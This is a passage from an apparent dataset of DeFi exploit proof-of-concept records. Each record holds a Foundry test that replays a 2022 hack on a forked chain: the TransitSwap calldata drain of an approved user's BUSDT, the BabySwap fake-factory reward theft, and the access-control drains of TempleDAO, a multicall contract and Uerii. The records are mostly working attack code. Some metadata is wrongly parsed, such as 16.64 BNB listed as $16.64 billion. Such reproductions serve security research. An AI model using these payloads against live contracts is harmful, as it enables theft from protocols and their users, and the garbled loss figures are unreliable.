"total_lost_raw": "~16.64 BNB", "total_lost_usd": 16640000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~16.64 BNB", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker WBNB balance before exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n\n // Approving PancakeSwap router to spend attacker's WBNB and HEALTH\n WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n HEALTH_TOKEN.approve(address(PS_ROUTER), type(uint256).max);\n\n // Requesting 40 WBNB via flashloan from DODO DVM. Payload is in the callback (DPPFlashLoanCall).\n DVM(DODO_DVM).flashLoan(40 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"[End] Attacker WBNB balance after exploit\", WBNB_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /*\n * Callback function called by DODO DVM during the flashloan\n */", "has_exploit_code": true, "keyinfo_total_lost": "~16.64 BNB", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$16640.00M", "content_richness_score": 8.08, "quality_estimate": "high", "title": "HEALTH Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: GPL-3.0\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : over $21 Million\n// Attacker : 0x5f0b31AA37Bce387a8b21554a8360C6B8698FbEF\n// Attack Contract : https://bscscan.com/address/0x8CA8fD9C7641849A14CbF72FaF05c305B0c68a34\n// Vulnerable Contract : https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72\n// Attack Tx : https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72 (unverified)\n\n// @Analysis\n// Twitter TransitFinance : https://twitter.com/TransitFinance/status/1576463550557483008\n// Twitter SunSec : https://twitter.com/1nf0s3cpt/status/1576511552592543745\n// Twitter BeosinAlert : https://twitter.com/BeosinAlert/status/1576387705076084736\n// Article Numencyber : https://www.numencyber.com/transit-swap-hack-analysis/\n// Article QuillAudits : https://quillaudits.medium.com/transit-finance-28-9m-exploit-analysis-quillaudits-5d8228956102\n// Article SharkTeam : https://medium.com/@sharkteam/approval-and-verification-vulnerability-analysis-of-transitswap-security-incident-89cfe999a1ef\n// Article Immunebytes : https://www.immunebytes.com/blog/transit-swap-exploit-oct-2-2022-detailed-analysis/\n\n/*\n Attack steps: It's simple, but you need to study past transactions to know how to combine the call data.\n 1. Incorrect owner address validation, you can input any innocent user who granted approvals to \"0xed1afc8c4604958c2f38a3408fa63b32e737c428\" before.\n In this case 0x1aae0303f795b6fcb185ea9526aa0549963319fc is a innocent user who has BUSD and granted approvals.\n \n 2. Contract \"0xed1afc8c4604958c2f38a3408fa63b32e737c428\" will perform `transferFrom()` to transfer amount of innocent user to attacker.\n That's it.\n\n Root cause: Incorrect owner address validation. \n\n Contract:\n TransitSwap: 0x8785bb8deae13783b24d7afe250d42ea7d7e9d72\n Bridge: 0x0B47275E0Fe7D5054373778960c99FD24F59ff52\n Claimtokens: 0xed1afc8c4604958c2f38a3408fa63b32e737c428\n*/\n\ncontract ContractTest is Test {\n address constant TRANSIT_SWAP = 0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72;\n IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955); // Binance USDT\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 21_816_545);\n // Adding labels to improve stack traces' readability\n vm.label(TRANSIT_SWAP, \"TRANSIT_SWAP\");\n vm.label(address(BUSDT_TOKEN), \"BUSDT_TOKEN\");\n vm.label(0x0B47275E0Fe7D5054373778960c99FD24F59ff52, \"EXPLOIT_AUX_CONTRACT\");\n vm.label(0xeD1afC8C4604958C2F38a3408FA63B32E737c428, \"EXPLOIT_AUX_CONTRACT_2\");\n vm.label(0x1aAe0303f795b6FCb185ea9526Aa0549963319Fc, \"VICTIM_EXAMPLE\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDT balance before exploit\", BUSDT_TOKEN.balanceOf(address(this)), 18\n );\n\n (bool success,) = TRANSIT_SWAP.call(\n hex\"006de4df0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8000000000000000000000000a1137fe0cc191c11859c1d6fb81ae343d70cc17100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002707f79951b87b5400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000380000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000ed1afc8c4604958c2f38a3408fa63b32e737c4280000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a40a5ea46600000000000000000000000055d398326f99059ff775485246999027b31979550000000000000000000000001aae0303f795b6fcb185ea9526aa0549963319fc0000000000000000000000007FA9385bE102ac3EAc297483Dd6233D62b3e149600000000000000000000000000000000000000000000015638842fa55808c0af00000000000000000000000000000000000000000000000000000000000077c800000000000000000000000000000000000000000000000000000000\"\n );\n require(success, \"Exploit failed\");\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDT balance after exploit\", BUSDT_TOKEN.balanceOf(address(this)), 18\n );\n }\n}\n", "type": "exploit_poc", "protocol": "TransitSwap", "date": "2022-10", "file_name": "TransitSwap_exp.sol", "attack_vector": null, "content_hash": "bc6fbd0441dfaa80", "collected_at": "2026-01-07T10:59:16.517036", "_source": "postmortems", "chain": "bsc", "block_number": 21816545, "total_lost_raw": "over $21 Million", "total_lost_usd": 21000000.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0x8CA8fD9C7641849A14CbF72FaF05c305B0c68a34", "vulnerable_contract": "https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72", "attack_tx": "https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "over $21 Million", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDT balance before exploit\", BUSDT_TOKEN.balanceOf(address(this)), 18\n );\n\n (bool success,) = TRANSIT_SWAP.call(\n hex\"006de4df0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f8000000000000000000000000a1137fe0cc191c11859c1d6fb81ae343d70cc17100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002707f79951b87b5400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000380000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c0000000000000000000000000ed1afc8c4604958c2f38a3408fa63b32e737c4280000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000007616e64726f69640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a40a5ea46600000000000000000000000055d398326f99059ff775485246999027b31979550000000000000000000000001aae0303f795b6fcb185ea9526aa0549963319fc0000000000000000000000007FA9385bE102ac3EAc297483Dd6233D62b3e149600000000000000000000000000000000000000000000015638842fa55808c0af00000000000000000000000000000000000000000000000000000000000077c800000000000000000000000000000000000000000000000000000000\"\n );\n require(success, \"Exploit failed\");\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDT balance after exploit\", BUSDT_TOKEN.balanceOf(address(this)), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "over $21 Million", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0x8CA8fD9C7641849A14CbF72FaF05c305B0c68a34", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x8785bb8deAE13783b24D7aFE250d42eA7D7e9d72", "keyinfo_attack_tx": "https://bscscan.com/tx/0x181a7882aac0eab1036eedba25bc95a16e10f61b5df2e99d240a16c334b9b189", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$21.00M", "content_richness_score": 8.6, "quality_estimate": "high", "title": "TransitSwap Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo\n// Attacker : 0x0000000038b8889b6ab9790e20FC16fdC5714922\n// Attack Contract : https://bscscan.com/address/0xde7e741bd9dc7209b56f1ef3b663efb288c928d4\n// Vulnerable Contract : https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636\n// Attack Tx : https://bscscan.com/tx/0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636#code\n\n// @Analysis\n// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1576441612812836865\n\ninterface IBabySwapRouter {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n address[] memory factories,\n uint256[] memory fees,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface ISwapMining {\n function takerWithdraw() external;\n}\n\ncontract FakeFactory {\n address Owner;\n IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);\n\n constructor() {\n Owner = msg.sender;\n }\n\n // fake pair\n function getPair(address, /*token1*/ address /*token2*/ ) external view returns (address pair) {\n pair = address(this);\n }\n\n // fake pair\n function getReserves() external pure returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {\n reserve0 = 10_000_000_000 * 1e18;\n reserve1 = 1;\n blockTimestampLast = 0;\n }\n\n function swap(uint256, /*amount0Out*/ uint256, /*amount1Out*/ address, /*to*/ bytes calldata /*data*/ ) external {\n if (WBNB_TOKEN.balanceOf(address(this)) > 0) WBNB_TOKEN.transfer(Owner, WBNB_TOKEN.balanceOf(address(this)));\n // if(USDT_TOKEN.balanceOf(address(this)) > 0) USDT_TOKEN.transfer(Owner, USDT_TOKEN.balanceOf(address(this)));\n }\n}\n\ncontract ContractTest is Test {\n IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);\n IERC20 constant BABY_TOKEN = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657);\n IBabySwapRouter constant BABYSWAP_ROUTER = IBabySwapRouter(0x8317c460C22A9958c27b4B6403b98d2Ef4E2ad32);\n ISwapMining constant SWAP_MINING = ISwapMining(0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636);\n address constant BABYSWAP_FACTORY = 0x86407bEa2078ea5f5EB5A52B2caA963bC1F889Da;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 21_811_979);\n // Adding labels to improve stack traces' readability\n vm.label(address(WBNB_TOKEN), \"WBNB_TOKEN\");\n vm.label(address(USDT_TOKEN), \"USDT_TOKEN\");\n vm.label(address(BABY_TOKEN), \"BABY_TOKEN\");\n vm.label(address(BABYSWAP_ROUTER), \"BABYSWAP_ROUTER\");\n vm.label(address(SWAP_MINING), \"SWAP_MINING\");\n vm.label(BABYSWAP_FACTORY, \"BABYSWAP_FACTORY\");\n vm.label(0xE730C7B7470447AD4886c763247012DfD233bAfF, \"USDT_BABY_BABYPAIR\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDT balance before exploit\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n (bool success,) = address(WBNB_TOKEN).call{value: 20_000}(\"\");\n require(success, \"Transfer failed.\");\n WBNB_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);\n BABY_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);\n\n // create fakefactory\n FakeFactory factory = new FakeFactory();\n\n // swap token to claim reward\n address[] memory path1 = new address[](2);\n path1[0] = address(WBNB_TOKEN);\n path1[1] = address(USDT_TOKEN);\n address[] memory factories = new address[](1);\n factories[0] = address(factory);\n uint256[] memory fees = new uint256[](1);\n fees[0] = 0;\n BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path1, factories, fees, address(this), block.timestamp);\n // swap token to claim reward\n address[] memory path2 = new address[](2);\n path2[0] = address(WBNB_TOKEN);\n path2[1] = address(BABY_TOKEN);\n BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path2, factories, fees, address(this), block.timestamp);\n\n // claim reward token\n SWAP_MINING.takerWithdraw();\n _BABYToUSDT();\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDT balance before exploit\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /**\n * Auxiliary function to swap all BABY to USDT\n */\n function _BABYToUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(BABY_TOKEN);\n path[1] = address(USDT_TOKEN);\n address[] memory factories = new address[](1);\n factories[0] = BABYSWAP_FACTORY;\n uint256[] memory fees = new uint256[](1);\n fees[0] = 3000;\n BABYSWAP_ROUTER.swapExactTokensForTokens(\n BABY_TOKEN.balanceOf(address(this)), 0, path, factories, fees, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "BabySwap", "date": "2022-10", "file_name": "BabySwap_exp.sol", "attack_vector": null, "content_hash": "16a6366093079df0", "collected_at": "2026-01-07T10:59:16.517095", "_source": "postmortems", "chain": "bsc", "block_number": 21811979, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0xde7e741bd9dc7209b56f1ef3b663efb288c928d4", "vulnerable_contract": "https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636", "attack_tx": "https://bscscan.com/tx/0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker USDT balance before exploit\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n (bool success,) = address(WBNB_TOKEN).call{value: 20_000}(\"\");\n require(success, \"Transfer failed.\");\n WBNB_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);\n BABY_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);\n\n // create fakefactory\n FakeFactory factory = new FakeFactory();\n\n // swap token to claim reward\n address[] memory path1 = new address[](2);\n path1[0] = address(WBNB_TOKEN);\n path1[1] = address(USDT_TOKEN);\n address[] memory factories = new address[](1);\n factories[0] = address(factory);\n uint256[] memory fees = new uint256[](1);\n fees[0] = 0;\n BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path1, factories, fees, address(this), block.timestamp);\n // swap token to claim reward\n address[] memory path2 = new address[](2);\n path2[0] = address(WBNB_TOKEN);\n path2[1] = address(BABY_TOKEN);\n BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path2, factories, fees, address(this), block.timestamp);\n\n // claim reward token\n SWAP_MINING.takerWithdraw();\n _BABYToUSDT();\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDT balance before exploit\", USDT_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /**\n * Auxiliary function to swap all BABY to USDT\n */", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0xde7e741bd9dc7209b56f1ef3b663efb288c928d4", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636", "keyinfo_attack_tx": "https://bscscan.com/tx/0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 7.66, "quality_estimate": "medium", "title": "BabySwap Exploit (2022-10)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : $~2.3M\n// Attacker : 0x9c9fb3100a2a521985f0c47de3b4598dafd25b01\n// Attack Contract : https://etherscan.io/address/0x2df9c154fe24d081cfe568645fb4075d725431e0\n// Vulnerable Contract : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941\n// Attack Tx : https://etherscan.io/tx/0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b5\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941#code#F1#L241\n\n// @Analysis\n// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1579843881893769222\n// Twitter FrankResearcher : https://twitter.com/FrankResearcher/status/1579840347647414272\n// Twitter Spreek : https://twitter.com/spreekaway/status/1579836562338361345\n// Rekt news : https://rekt.news/templedao-rekt/\n// Root cause: Insufficient access control of the `migrateStake()` function.\n\ninterface IStaxLPStaking {\n function migrateStake(address oldStaking, uint256 amount) external;\n function withdrawAll(\n bool claim\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 constant xFraxTempleLP = IERC20(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9);\n IStaxLPStaking constant StaxLPStaking = IStaxLPStaking(0xd2869042E12a3506100af1D192b5b04D65137941);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 15_725_066);\n // Adding labels to improve stack traces' readability\n vm.label(address(xFraxTempleLP), \"xFraxTempleLP\");\n vm.label(address(StaxLPStaking), \"StaxLPStaking\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker xFraxTempleLP balance before exploit\", xFraxTempleLP.balanceOf(address(this)), 18\n );\n\n uint256 lpbalance = xFraxTempleLP.balanceOf(address(StaxLPStaking));\n\n // Perform migrateStake()\n StaxLPStaking.migrateStake(address(this), lpbalance);\n\n // Perform withdrawAll()\n StaxLPStaking.withdrawAll(false);\n\n emit log_named_decimal_uint(\n \"[End] Attacker xFraxTempleLP balance after exploit\", xFraxTempleLP.balanceOf(address(this)), 18\n );\n }\n\n function migrateWithdraw(\n address,\n uint256\n )\n public //callback\n {}\n}\n", "type": "exploit_poc", "protocol": "Templedao", "date": "2022-10", "file_name": "Templedao_exp.sol", "attack_vector": "access_control", "content_hash": "3a459dd07a7fd356", "collected_at": "2026-01-07T10:59:16.517148", "_source": "postmortems", "chain": "ethereum", "block_number": 15725066, "total_lost_raw": "$~2.3M", "total_lost_usd": 2300000.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0x2df9c154fe24d081cfe568645fb4075d725431e0", "vulnerable_contract": "https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941", "attack_tx": "https://etherscan.io/tx/0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b5", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "$~2.3M", "category": "access-control", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker xFraxTempleLP balance before exploit\", xFraxTempleLP.balanceOf(address(this)), 18\n );\n\n uint256 lpbalance = xFraxTempleLP.balanceOf(address(StaxLPStaking));\n\n // Perform migrateStake()\n StaxLPStaking.migrateStake(address(this), lpbalance);\n\n // Perform withdrawAll()\n StaxLPStaking.withdrawAll(false);\n\n emit log_named_decimal_uint(\n \"[End] Attacker xFraxTempleLP balance after exploit\", xFraxTempleLP.balanceOf(address(this)), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "$~2.3M", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0x2df9c154fe24d081cfe568645fb4075d725431e0", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941", "keyinfo_attack_tx": "https://etherscan.io/tx/0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b5", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2.30M", "content_richness_score": 8.2, "quality_estimate": "high", "title": "Templedao Exploit (2022-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Address https://polygonscan.com/address/0x940ce652a51ebadb5df09d605dbeda95fdcf697b\ninterface Target {\n struct Call {\n address target;\n bytes callData;\n uint256 value;\n }\n\n function multicallWithoutCheck(\n Call[] memory calls\n ) external;\n}\n\ncontract ContractTest is Test {\n struct Call {\n address target;\n bytes callData;\n uint256 value;\n }\n\n Target target = Target(0x940cE652A51EBadB5dF09d605dBEDA95fDcF697b);\n IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"polygon\", 34_743_770);\n }\n\n function testExploit() public {\n uint256 USDTBlance = USDT.balanceOf(address(target));\n bytes memory data = abi.encodeWithSignature(\"transfer(address,uint256)\", address(this), USDTBlance);\n Target.Call memory inputData = Target.Call({target: address(USDT), callData: data, value: 0});\n Target.Call[] memory calls = new Target.Call[](1);\n calls[0] = inputData;\n target.multicallWithoutCheck(calls);\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 6);\n }\n}\n", "type": "exploit_poc", "protocol": "MulticallWithoutCheck", "date": "2022-10", "file_name": "MulticallWithoutCheck_exp.sol", "attack_vector": null, "content_hash": "24d903404b898fcd", "collected_at": "2026-01-07T10:59:16.517192", "_source": "postmortems", "chain": "polygon", "block_number": 34743770, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n uint256 USDTBlance = USDT.balanceOf(address(target));\n bytes memory data = abi.encodeWithSignature(\"transfer(address,uint256)\", address(this), USDTBlance);\n Target.Call memory inputData = Target.Call({target: address(USDT), callData: data, value: 0});\n Target.Call[] memory calls = new Target.Call[](1);\n calls[0] = inputData;\n target.multicallWithoutCheck(calls);\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.71, "quality_estimate": "low", "title": "MulticallWithoutCheck Exploit (2022-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~2,5K USDC\n// Attacker : 0xcc1A341D0F2a06Eaba436935399793F05C2bbE92\n// Attack Contract : https://etherscan.io/address/0xFD4DcCD754EAaA8C9196998c5Bb06A56dF6a1D95\n// Vulnerable Contract : https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be\n// Attack Tx : https://etherscan.io/tx/0xf4a3d0e01bbca6c114954d4a49503fc94dfdbc864bded5530b51a207640d86b5\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be#code#L493\n\n// @Analysis\n// Twitter Peckshield : https://twitter.com/peckshield/status/1581988895142526976\n// Article Quillaudits : https://quillaudits.medium.com/access-control-vulnerability-in-defi-quillaudits-909e7ed4582c\n\ninterface IUERII is IERC20 {\n function mint() external;\n}\n\ncontract ContractTest is Test {\n IUERII constant UERII_TOKEN = IUERII(0x418C24191aE947A78C99fDc0e45a1f96Afb254BE);\n IUSDC constant USDC_TOKEN = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n Uni_Router_V3 constant UNI_ROUTER = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 15_767_837);\n // Adding labels to improve stack traces' readability\n vm.label(address(UERII_TOKEN), \"UERII_TOKEN\");\n vm.label(address(USDC_TOKEN), \"USDC_TOKEN\");\n vm.label(address(WETH_TOKEN), \"WETH_TOKEN\");\n vm.label(address(UNI_ROUTER), \"UNI_ROUTER\");\n vm.label(0x5FFaf1B4Da96D6Cfd4045035A94A924fC39631dC, \"UERII_USDC_PAIR\");\n vm.label(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640, \"USDC_WETH_PAIR\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"[Start] Attacker WETH balance before exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n\n // Actual payload exploiting the missing access control\n UERII_TOKEN.mint();\n\n // Exchanging the newly minted UERII for USDC\n UERII_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);\n _UERIIToUSDC();\n\n // Exchanging all USDC for WETH\n USDC_TOKEN.approve(address(UNI_ROUTER), type(uint256).max);\n _USDCToWETH();\n\n emit log_named_decimal_uint(\n \"[End] Attacker WETH balance after exploit\", WETH_TOKEN.balanceOf(address(this)), 18\n );\n }\n\n /**\n * Auxiliary function to swap all UERII to USDC\n */\n function _UERIIToUSDC() internal {\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(UERII_TOKEN),\n tokenOut: address(USDC_TOKEN),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: UERII_TOKEN.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n UNI_ROUTER.exactInputSingle(_Params);\n }\n\n /**\n * Auxiliary function to swap all USDC to WETH\n */\n function _USDCToWETH() internal {\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(USDC_TOKEN),\n tokenOut: address(WETH_TOKEN),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: USDC_TOKEN.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n UNI_ROUTER.exactInputSingle(_Params);\n }\n}\n", "type": "exploit_poc", "protocol": "Uerii", "date": "2022-10", "file_name": "Uerii_exp.sol", "attack_vector": "access_control", "content_hash": "fc2b2832931f23d1", "collected_at": "2026-01-07T10:59:16.517236", "_source": "postmortems", "chain": "ethereum", "block_number": 15767837, "total_lost_raw": "~2,5K USDC", "total_lost_usd": 2.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0xFD4DcCD754EAaA8C9196998c5Bb06A56dF6a1D95", "vulnerable_contract": "https://etherscan.io/address/0x418c24191ae947a78c99fdc0e45a1f96afb254be", "attack_tx": 